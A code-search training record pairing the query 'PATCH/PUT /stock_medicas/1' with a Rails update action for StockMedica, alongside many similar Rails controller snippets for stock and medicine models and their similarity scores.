"def create\n @store = Stock.new(stock_params)\n\n respond_to do |format|\n if @store.save\n format.html { redirect_to @store, notice: 'Stock was successfully created.' }\n format.json { render action: 'show', status: :created, location: @store }\n else\n format.html { render action: 'new' }\n format.json { render json: @store.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock_entry = StockEntry.new(params[:stock_entry])\n\n respond_to do |format|\n if @stock_entry.save\n format.html { redirect_to @stock_entry, notice: 'Stock entry was successfully created.' }\n format.json { render json: @stock_entry, status: :created, location: @stock_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quatum = Quatum.new(quatum_params)\n\n respond_to do |format|\n if @quatum.save\n format.html { redirect_to @quatum, notice: 'Quatum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quatum }\n else\n format.html { render action: 'new' }\n format.json { render json: @quatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_sample_stock = ProductSampleStock.new(product_sample_stock_params)\n\n respond_to do |format|\n if @product_sample_stock.save\n format.html { redirect_to @product_sample_stock, notice: 'Product sample stock was successfully created.' }\n format.json { render :show, status: :created, location: @product_sample_stock }\n else\n format.html { render :new }\n format.json { render json: @product_sample_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medida = Medida.new(params[:medida])\n\n respond_to do |format|\n if @medida.save\n format.html { redirect_to @medida, notice: 'Medida se ha creado con éxito.' }\n format.json { render json: @medida, status: :created, location: @medida }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medida.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stock = Stock.new(params[:stock])\n @stock.product_id = session[:product]\n\n respond_to do |format|\n if @stock.save\n flash[:notice] = 'Movimentação criada.'\n format.html { redirect_to(@stock) }\n format.xml { render :xml => @stock, :status => :created, :location => @stock }\n else\n default_data\n format.html { render :action => \"new\" }\n format.xml { render :xml => @stock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @purchased_stock = PurchasedStock.new(params[:purchased_stock])\n\n respond_to do |format|\n if @purchased_stock.save\n format.html { redirect_to @purchased_stock, notice: 'Purchased stock was successfully created.' }\n format.json { render json: @purchased_stock, status: :created, location: @purchased_stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchased_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchased_stock = PurchasedStock.new(params[:purchased_stock])\n\n respond_to do |format|\n if @purchased_stock.save\n format.html { redirect_to @purchased_stock, notice: 'Purchased stock was successfully created.' }\n format.json { render json: @purchased_stock, status: :created, location: @purchased_stock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchased_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @volume_metadatum = VolumeMetadatum.new(params[:volume_metadatum])\n\n respond_to do |format|\n if @volume_metadatum.save\n format.html { redirect_to @volume_metadatum, notice: 'Volume metadatum was successfully created.' }\n format.json { render json: @volume_metadatum, status: :created, location: @volume_metadatum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @volume_metadatum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @incomestock = Incomestock.new(params[:incomestock])\n\n respond_to do |format|\n if @incomestock.save\n format.html { redirect_to @incomestock, notice: 'Incomestock was successfully created.' }\n format.json { render json: @incomestock, status: :created, location: @incomestock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @incomestock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @total_stock = TotalStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @total_stock }\n end\n end",
"def manga_params\n params.require(:manga).permit(:title, :author, :description, :stock_quantity, :image)\n end",
"def medicine_params\n params.require(:medicine).permit(:name, :availability, :quantity, :usage, :side_effects)\n end",
"def create\n @atp_stock = AtpStock.new(atp_stock_params)\n\n respond_to do |format|\n if @atp_stock.save\n format.html { redirect_to @atp_stock, notice: 'Atp stock was successfully created.' }\n format.json { render :show, status: :created, location: @atp_stock }\n else\n format.html { render :new }\n format.json { render json: @atp_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @stock = Stock.new(stock_params)\n @stock.ticker = params[:stock][:ticker].upcase\n\n respond_to do |format|\n if @stock.save\n format.html { redirect_to @stock, notice: 'Stock was successfully added to watchlist.' }\n format.json { render :show, status: :created, location: @stock }\n else\n format.html { render :new }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @title = \"Medic Created\"\n @medic = Medic.new(params[:medic])\n\n respond_to do |format|\n if @medic.save\n if @medic.admin == true\n format.html { redirect_to @medic, notice: 'Medic Admin was successfully created.' }\n format.json { render json: @medic, status: :created, location: @medic }\n else\n format.html { redirect_to @medic, notice: 'Medic was successfully created.' }\n format.json { render json: @medic, status: :created, location: @medic }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @medic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @price_medicine = PriceMedicine.new(price_medicine_params)\n\n respond_to do |format|\n if @price_medicine.save\n format.html { redirect_to admin_price_medicines_path, notice: 'Price medicine was successfully created.' }\n format.json { render :show, status: :created, location: @price_medicine }\n else\n format.html { render :new }\n format.json { render json: @price_medicine.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @feedstock = Feedstock.new(params[:feedstock])\n\n respond_to do |format|\n if @feedstock.save\n format.html { redirect_to @feedstock, notice: 'Estoque criado.' }\n format.json { render json: @feedstock, status: :created, location: @feedstock }\n else\n format.html { render action: \"new\" }\n format.json { render json: @feedstock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @marquage = Marquage.new(marquage_params)\n\n if @marquage.save\n render :show, status: :created, location: @marquage\n else\n render json: @marquage.errors, status: :unprocessable_entity\n end\n end",
"def index\n @stock_medicas = StockMedica.all\n @ficha_medicas = FichaMedica.all\n end",
"def create\n @stock_product = StockProduct.new(stock_product_params)\n\n respond_to do |format|\n if @stock_product.save\n format.html { redirect_to @stock_product, notice: 'Stock product was successfully created.' }\n format.json { render json: @stock_product, status: :created, location: @stock_product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medication = Medication.new(medication_params)\n\n respond_to do |format|\n if @medication.save\n format.html { redirect_to @medication, notice: 'Medication was successfully created.' }\n format.json { render :show, status: :created, location: @medication }\n else\n format.html { render :new }\n format.json { render json: @medication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mercado_metum = MercadoMetum.new(params[:mercado_metum])\n\n respond_to do |format|\n if @mercado_metum.save\n format.html { redirect_to @mercado_metum, notice: 'Mercado metum was successfully created.' }\n format.json { render json: @mercado_metum, status: :created, location: @mercado_metum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mercado_metum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medicion = Medicion.new(params[:medicion])\n\n respond_to do |format|\n if @medicion.save\n format.html { redirect_to(@medicion, :notice => 'Medicion was successfully created.') }\n format.xml { render :xml => @medicion, :status => :created, :location => @medicion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @medicion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @medicamento = Medicamento.new(params[:medicamento])\n\n respond_to do |format|\n if @medicamento.save\n flash[:notice] = 'Medicamento was successfully created.'\n format.html { redirect_to(@medicamento) }\n format.xml { render :xml => @medicamento, :status => :created, :location => @medicamento }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @medicamento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def stock_params\n params.require(:stock).permit(:name, :quantity)\n end",
"def create\n @stock = Stock.new(params[:stock])\n\n respond_to do |format|\n if @stock.save\n flash[:notice] = 'Stock was successfully created.'\n format.html { redirect_to(@stock) }\n format.xml { render :xml => @stock, :status => :created, :location => @stock }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @stock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @medzz = Medzz.new(params[:medzz])\n\n respond_to do |format|\n if @medzz.save\n format.html { redirect_to @medzz, notice: 'Your Perscription was successfully submitted.' }\n format.json { render json: @medzz, status: :created, location: @medzz }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medzz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @product_stock = ProductStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @product_stock }\n end\n end",
"def create\n\tmarkets=Market.all\n stocks=Stock.all\n stocks.delete_all\n kiwoomApi = KiwoomApi.new()\n stock_code_list_all=[]\n market_code_list=[]\n markets.each do |market|\n stock_code_list=kiwoomApi.get_code_list_by_market(market.market_code)\n\n if stock_code_list!=nil\n stock_code_list_all=stock_code_list_all+stock_code_list\n stock_code_list.map do |stock_code|\n market_code_list<<[market.market_code,stock_code]\n end\n end\n end\n\t stock_code_list_all.uniq!\n stock_code_list_all.each do |stock_code|\n stock_name=kiwoomApi.get_master_code_name(stock_code)\n stock_open_date=kiwoomApi.get_master_listed_stock_date(stock_code)\n tmp = Stock.create(\n :stock_code => stock_code,\n :stock_name => stock_name,\n :stock_open_date => stock_open_date)\n puts tmp\n end\n\n\tmarket_stock = MarketStock.all\n market_stock.delete_all\n market_code_list.each do |market_stock_code|\n\t\tMarketStock.create(:market_code_id=> market_stock_code[0],:stock_code_id=>market_stock_code[1])\n end\n\n\trespond_to do |format|\n\t \tformat.html { redirect_to stocks_path, notice: \"Stocks was successfully created.#{markets.length}\" }\n \tformat.json { render :show, status: :created, location: stocks_path}\n\tend\n\n end",
"def create\n @stock_type = StockType.new(params[:stock_type])\n\n respond_to do |format|\n if @stock_type.save\n format.html { redirect_to @stock_type, notice: 'Stock type was successfully created.' }\n format.json { render json: @stock_type, status: :created, location: @stock_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stock_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @mascotum = Mascotum.new(mascotum_params)\n\n respond_to do |format|\n if @mascotum.save\n format.html { redirect_to @mascotum, notice: 'Mascotum was successfully created.' }\n format.json { render :show, status: :created, location: @mascotum }\n else\n format.html { render :new }\n format.json { render json: @mascotum.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.68674546",
"0.6660177",
"0.6512324",
"0.6466735",
"0.6261089",
"0.61612463",
"0.61439186",
"0.61146367",
"0.6107671",
"0.6107671",
"0.6107671",
"0.6107671",
"0.6090492",
"0.6090492",
"0.6090492",
"0.6090492",
"0.6090492",
"0.6090492",
"0.60767686",
"0.60551775",
"0.6045734",
"0.6013511",
"0.5963465",
"0.5948014",
"0.5935382",
"0.59251386",
"0.5916843",
"0.59000623",
"0.58997023",
"0.58840543",
"0.5880156",
"0.5872511",
"0.58704376",
"0.5853899",
"0.5841259",
"0.5836567",
"0.58356416",
"0.58271486",
"0.5823994",
"0.5814952",
"0.5813506",
"0.57945615",
"0.5777476",
"0.5771708",
"0.57579386",
"0.5752471",
"0.574275",
"0.574217",
"0.5731495",
"0.5723967",
"0.57165295",
"0.5703861",
"0.570196",
"0.57001895",
"0.57001895",
"0.57001895",
"0.57001895",
"0.57001895",
"0.57001895",
"0.56960464",
"0.5683533",
"0.5682177",
"0.5676082",
"0.56534064",
"0.5651814",
"0.56510097",
"0.56399137",
"0.5636996",
"0.5616788",
"0.56152856",
"0.5615093",
"0.56112164",
"0.56053454",
"0.5602612",
"0.5601982",
"0.5601982",
"0.5599738",
"0.55955166",
"0.55929613",
"0.559191",
"0.55829924",
"0.5582221",
"0.55807716",
"0.55739444",
"0.5566898",
"0.555745",
"0.55470467",
"0.5540841",
"0.5539723",
"0.5526825",
"0.5518954",
"0.55026925",
"0.5496764",
"0.54938823",
"0.54842174",
"0.54828775",
"0.5482465",
"0.54796535",
"0.54787195",
"0.547523"
] | 0.70743656 | 0 |
PATCH/PUT /stock_medicas/1 PATCH/PUT /stock_medicas/1.json | def update
respond_to do |format|
if @stock_medica.update(stock_medica_params)
format.html { redirect_to @stock_medica, notice: 'Stock medica was successfully updated.' }
format.json { render :show, status: :ok, location: @stock_medica }
else
format.html { render :edit }
format.json { render json: @stock_medica.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @mateStock = MateStock.find(params[:id])\n\n respond_to do |format|\n if @mateStock.update_attributes(params[:mate_stock])\n format.html { redirect_to action: 'index', notice: 'Mate Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mateStock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to stocks_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @movimiento_stock = MovimientoStock.find(params[:id])\n respond_to do |format|\n if @movimiento_stock.update_attributes(params[:movimiento_stock])\n format.html { redirect_to @movimiento_stock, notice: 'Movimiento stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @movimiento_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @model_stock.update(model_stock_params)\n format.html { redirect_to @model_stock, notice: t('common.message.updated_success')}\n format.json { render :show, status: :ok, location: @model_stock }\n else\n format.html { render :edit }\n format.json { render json: @model_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n format.html { redirect_to stocks_url, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @total_stock = TotalStock.find(params[:id])\n\n respond_to do |format|\n if @total_stock.update_attributes(params[:total_stock])\n format.html { redirect_to @total_stock, notice: 'Total stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @total_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock.update(stock_params)\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sp500_stock = Sp500Stock.find(params[:id])\n\n respond_to do |format|\n if @sp500_stock.update_attributes(params[:sp500_stock])\n format.html { redirect_to @sp500_stock, notice: 'Sp500 stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sp500_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @product_stock = ProductStock.find(params[:id])\n\n respond_to do |format|\n if @product_stock.update_attributes(params[:product_stock])\n format.html { redirect_to @product_stock, notice: 'Estoque atualizado' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @asset_stock.update(asset_stock_params)\n format.html { redirect_to @asset_stock, notice: 'Asset stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @asset_stock }\n else\n format.html { render :edit }\n format.json { render json: @asset_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_product.update_attributes(stock_product_params)\n format.html { redirect_to @stock_product, notice: 'Stock product was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_product.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @addstock.update(addstock_params)\n format.html { redirect_to @addstock, notice: 'Addstock was successfully updated.' }\n format.json { render :show, status: :ok, location: @addstock }\n else\n format.html { render :edit }\n format.json { render json: @addstock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_option.update(stock_option_params)\n format.html { redirect_to @stock_option, notice: 'Stock option was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_option }\n else\n format.html { render :edit }\n format.json { render json: @stock_option.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock_resource = StockResource.find(params[:id])\n\n respond_to do |format|\n if @stock_resource.update_attributes(params[:stock_resource])\n format.html { redirect_to @stock_resource, notice: 'Stock resource was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # respond_to:1つのアクションから複数のフォーマットで返す\n respond_to do |format|\n if @stock.update(stock_params)\n \n # 写真のアップロードと保存\n if params[:stock].has_key? :picture\n @stock.picture = params[:stock][\"picture\"].read\n @stock.filename = params[:stock][\"picture\"].original_filename\n @stock.save\n end\n\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock }\n else\n format.html { render :edit }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company_inventory_stock.update(company_inventory_stock_params)\n format.html { redirect_to @company_inventory_stock, notice: 'Company inventory stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_inventory_stock }\n else\n format.html { render :edit }\n format.json { render json: @company_inventory_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock_type = StockType.find(params[:id])\n\n respond_to do |format|\n if @stock_type.update_attributes(params[:stock_type])\n format.html { redirect_to @stock_type, notice: 'Stock type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @uniform_stock_received.update(uniform_stock_received_params)\n format.html { redirect_to @uniform_stock_received, notice: (t 'uniform_stock_receiveds.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @uniform_stock_received.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @goods_stock = GoodsStock.find(params[:id])\n\n respond_to do |format|\n if @goods_stock.update_attributes(params[:goods_stock])\n format.html { redirect_to @goods_stock, notice: 'Goods stock was successfully updated.' }\n format.json { head :no_content }\n format.js \n else\n format.html { render action: \"edit\" }\n format.json { render json: @goods_stock.errors, status: :unprocessable_entity }\n format.js \n end\n end\n end",
"def update\n respond_to do |format|\n if @product_sample_stock.update(product_sample_stock_params)\n format.html { redirect_to @product_sample_stock, notice: 'Product sample stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_sample_stock }\n else\n format.html { render :edit }\n format.json { render json: @product_sample_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n flash[:notice] = 'Movimentação atualizada.'\n format.html { redirect_to(@stock) }\n format.xml { head :ok }\n else\n default_data\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @atp_stock.update(atp_stock_params)\n format.html { redirect_to @atp_stock, notice: 'Atp stock was successfully updated.' }\n format.json { render :show, status: :ok, location: @atp_stock }\n else\n format.html { render :edit }\n format.json { render json: @atp_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feedstock = Feedstock.find(params[:id])\n\n respond_to do |format|\n if @feedstock.update_attributes(params[:feedstock])\n format.html { redirect_to @feedstock, notice: 'Estoque atualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @feedstock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @producto_stock = ProductoStock.find(params[:id])\n\n respond_to do |format|\n if @producto_stock.update_attributes(params[:producto_stock])\n format.html { redirect_to(@producto_stock, :notice => 'ProductoStock was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @producto_stock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mystock.update(mystock_params)\n format.html { redirect_to @mystock, notice: 'mystock was successfully updated.' }\n format.json { render :show, status: :ok, location: @mystock }\n else\n format.html { render :edit }\n format.json { render json: @mystock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @store.update(stock_params)\n format.html { redirect_to @store, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @store.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @asset_stock_status.update(asset_stock_status_params)\n format.html { redirect_to @asset_stock_status, notice: 'Asset stock status was successfully updated.' }\n format.json { render :show, status: :ok, location: @asset_stock_status }\n else\n format.html { render :edit }\n format.json { render json: @asset_stock_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n flash[:notice] = 'Stock was successfully updated.'\n format.html { redirect_to(@stock) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stock.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @purchased_stock = PurchasedStock.find(params[:id])\n\n respond_to do |format|\n if @purchased_stock.update_attributes(params[:purchased_stock])\n format.html { redirect_to @purchased_stock, notice: 'Purchased stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchased_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @purchased_stock = PurchasedStock.find(params[:id])\n\n respond_to do |format|\n if @purchased_stock.update_attributes(params[:purchased_stock])\n format.html { redirect_to @purchased_stock, notice: 'Purchased stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @purchased_stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @incomestock = Incomestock.find(params[:id])\n\n respond_to do |format|\n if @incomestock.update_attributes(params[:incomestock])\n format.html { redirect_to @incomestock, notice: 'Incomestock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incomestock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stockstatus.update(stockstatus_params)\n format.html { redirect_to @stockstatus, notice: 'Stockstatus was successfully updated.' }\n format.json { render :show, status: :ok, location: @stockstatus }\n else\n format.html { render :edit }\n format.json { render json: @stockstatus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @admin_action.update(stock_params)\n format.html { redirect_to root_path, notice: 'Admin action was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_action }\n else\n format.html { render :edit }\n format.json { render json: @admin_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @regular_chemical.update(regular_chemical_params)\n format.html { redirect_to mol_front_index_path, notice: 'Regular chemical was successfully updated.' }\n format.json { render :show, status: :ok, location: @regular_chemical }\n else\n format.html { render :edit }\n format.json { render json: @regular_chemical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock = Stock.find(params[:id])\n\n respond_to do |format|\n if @stock.update_attributes(params[:stock])\n PostLogger.info(\"Change position - Now: #{@stock.quantity} shares of #{@stock.symbol} in #{@stock.portfolio.user.name}'s - #{@stock.portfolio.name} Portfolio\")\n\n format.html { redirect_to @stock, notice: 'Stock was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_ticker.update(stock_ticker_params)\n format.html { redirect_to @stock_ticker, notice: 'Stock ticker was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_ticker }\n else\n format.html { render :edit }\n format.json { render json: @stock_ticker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock_entry = StockEntry.find(params[:id])\n\n respond_to do |format|\n if @stock_entry.update_attributes(params[:stock_entry])\n format.html { redirect_to @stock_entry, notice: 'Stock entry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stock_price = StockPrice.find(params[:id])\n\n respond_to do |format|\n if @stock_price.update_attributes(params[:stock_price])\n format.html { redirect_to @stock_price, notice: 'Stock price was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stock_price.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @stock_price.update(stock_price_params)\n format.html { redirect_to @stock_price, notice: 'Stock price was successfully updated.' }\n format.json { render :show, status: :ok, location: @stock_price }\n else\n format.html { render :edit }\n format.json { render json: @stock_price.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_medicine_stock\n @medicine_stock = MedicineStock.find(params[:id])\n end",
